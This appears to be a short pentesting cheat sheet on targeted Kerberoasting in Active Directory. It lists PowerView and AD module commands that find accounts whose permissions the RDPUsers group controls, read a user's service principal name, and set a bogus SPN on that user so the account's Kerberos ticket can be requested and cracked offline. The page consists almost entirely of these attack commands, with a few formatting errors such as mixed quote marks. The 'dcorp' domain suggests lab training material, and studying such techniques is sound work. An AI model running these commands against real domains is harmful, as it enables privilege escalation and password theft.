Set SPN
Once an account has an SPN, it becomes vulnerable to Kerberoasting.
Targeted Kerberoasting - Set SPN
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}# Powerview
Get-DomainUser -Identity supportuser | select serviceprincipalname
# AD module
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName# Powerview
Set-DomainObject -Identity support1user -Set @{serviceprincipalname=‘dcorp/whatever1'}
# AD module
Set-ADUser -Identity support1user -ServicePrincipalNames
@{Add=‘dcorp/whatever1'}Last updated